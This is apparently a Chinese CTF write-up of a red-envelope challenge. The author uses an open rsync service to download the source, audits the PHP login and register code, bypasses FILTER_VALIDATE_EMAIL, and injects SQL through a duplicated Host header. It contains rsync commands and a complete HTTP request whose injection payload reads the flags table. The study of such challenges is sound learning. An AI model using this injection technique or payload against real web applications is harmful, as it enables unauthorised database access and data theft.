【CTF】P牛的红包口令

这个口令红包没领成。

新年新气象,逛圈子偶遇到P牛发的一个红包。

题目如下:

1
2018.mhz.pw:62231

信息获取

使用浏览器访问题目,发现无法访问,且提示为ERR_INVALID_HTTP_RESPONSE,那就说明这个端口并不是HTTP协议的服务。

使用端口指纹识别:

nmap

rsync是linux系统下的数据镜像备份工具。所以我们得去了解一下rsync的基本语法

1
2
列远程机的文件列表。这类似于rsync传输,不过只要在命令中省略掉本地机信息即可。如:rsync -v rsync://2018.mhz.pw:62231
从远程rsync服务器中拷贝文件到本地机。如:rsync -av rsync://2018.mhz.pw:62231/www /databack

源码拉取

rsync

git裸仓库进行还原

1
git clone pwnhub_6670.git/

git

需要审计的源码还原成功,但是本地搭建没成功,得修改修改(环境问题)。

漏洞挖掘

文件列表如下:

pwnhub

初略看了下,只有一个登录框。

那还是读源码吧。从index.php 跳转至cpre.php,先看这份PHP代码

从开始都是一些常规的全局设置。再往下看。

目标站点只有简单的登陆功能,相关代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
escape($_REQUEST); # 转义
escape($_POST);
escape($_GET);

function escape(&$arg) {
if(is_array($arg)) { # 判断$arg是否为数组
foreach ($arg as &$value) { # 遍历$arg数组。每次循环中,当前单元的值被赋给$value并且数组内部的指针向前移一步。
escape($value);
}
} else {
$arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg); # 将$arg内的单引号、小括号转换成中文符号,将反斜杠进行转义。
}
}

function arg($name, $default = null, $trim = false) {
if (isset($_REQUEST[$name])) { # 检查$_REQUEST中是否存在$name值
$arg = $_REQUEST[$name];
} elseif (isset($_SERVER[$name])) { # 检查$_SERVER中是否存在$name值
$arg = $_SERVER[$name];
} else {
$arg = $default;
}
if($trim) {
$arg = trim($arg);
}
return $arg;
}

在检测的$name值当中,$_SERVER很明显并没有被转义处理。或许我们能利用这一个点。

再往下看代码、来到了Controller类。分了BaseController.phpMainController.php,它们是继承关系。在MainController.php看到了三个函数。

1
2
3
actionIndex() #主页
actionLogin() #登陆 (正常验证)
actionRegister() #注册

看到这里我才知道是有注册功能的。下面来看看actionRegister的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function actionRegister(){
if ($_POST) {
$username = arg('username'); # 检查是否存在
$password = arg('password');

if (empty($username) || empty($password)) { # 判断用户密码是否为空
$this->error('Username or password is empty.');
}

$email = arg('email'); # 检查是否存在
if (empty($email)) { # 如果email为空,则email由输入的用户名、@及HOST组合而成
$email = $username . '@' . arg('HTTP_HOST');
}

if (!filter_var($email, FILTER_VALIDATE_EMAIL)) { # FILTER_VALIDATE_EMAIL过滤器
$this->error('Email error.');
}

$user = new User(); # 判断用户名是否存在
$data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
if ($data) {
$this->error('This username is exists.');
}

$ret = $user->create([ # 向users表中插入数据
'username' => $username,
'password' => md5($password),
'email' => $email
]);
if ($ret) {
$_SESSION['user_id'] = $user->lastInsertId();
} else {
$this->error('Unknown error.');
}
}
}

能利用的点就是email的组成元素(HTTP_HOST),而HTTP_HOST又是由arg函数获取的,也就是说可以从没有被转义的$_SERVER着手。既然是数据库操作,那就看看是否能构造语句使之形成SQL注入漏洞

先明确一点:Email由用户名@Host三者拼接而成,而Host可利用的点为$_SERVER

但是其中有个FILTER_VALIDATE_EMAIL过滤器,所以首先还是得绕过这个过滤器。

绕过过滤器

第一次见到FILTER_VALIDATE_EMAIL是在PHPMailer的CVE-2016-10033里面遇到的,当时还是用着wordpress博客程序。

email

这样就能引入了引号,又符合过滤器的规则。那我们就传入用户名为"qqq,Host为rcoil'"@rcoil.me进行注册。因为邮箱中包含单引号,所以必会造成SQL注入

构造SQL注入

Host进行修改,结果如下:

request-0

404错误,并不是我们想象中的情景。之前做CTF的时候有过这类型的情况,添加多一个Host就可以了。如图:

request-1

既然构成了SQL注入,那就看看怎么利用了。

SQL注入

在源码中有分sql备份文件,从里面能看到SQL的结构。

最后卡在了这个报错注入里面。

P牛的WriteUP

攻击LNMP架构Web应用的几个小Tricks

知识点还是掌握得不够,静下心来好好学习。

看了P牛的WriteUp,才注意到create方法就是拼接了一个INSERT语句,而且报错信息也没仔细看。

现在回过头来想想,确实就是这么一回事。在插入的过程中,闭合了前段语句,再新建一个语句插入自己定义的语句,就能在可控的范围内获取自己所需要的信息。翻了翻之前的笔记。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
mysql> use test;
Database changed

mysql> SELECT @@version;
+-----------+
| @@version |
+-----------+
| 5.5.53 |
+-----------+
1 row in set

mysql> select * from demo;
+------+------+------+
| demo | test | aoao |
+------+------+------+
| d | d | d |
+------+------+------+
1 row in set


mysql> INSERT into demo VALUES('A','A','A'),('B','B','B');
Query OK, 2 rows affected
Records: 2 Duplicates: 0 Warnings: 0

mysql> select * from demo;
+------+------+------+
| demo | test | aoao |
+------+------+------+
| d | d | d |
| A | A | A |
| B | B | B |
+------+------+------+
4 rows in set

然后我们构造一下语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /main/register HTTP/1.1
Host: 2018.mhz.pw
Host: rcoil'),('ao123',md5(121314),(select(flag)from(flags)))#"@rcoil.me
Content-Length: 34
Cache-Control: max-age=0
Origin: http://2018.mhz.pw
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://2018.mhz.pw/main/register
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=bvdrraji3mjirt5noljghm8ib7
Connection: close

username="qq&email=&password=aaaaa

闭合了前段的INSERT语句,并新建了一条语句,在email字段将flag读取。

RcoIl Alipay
!坚持技术分享,您的支持将鼓励我继续创作!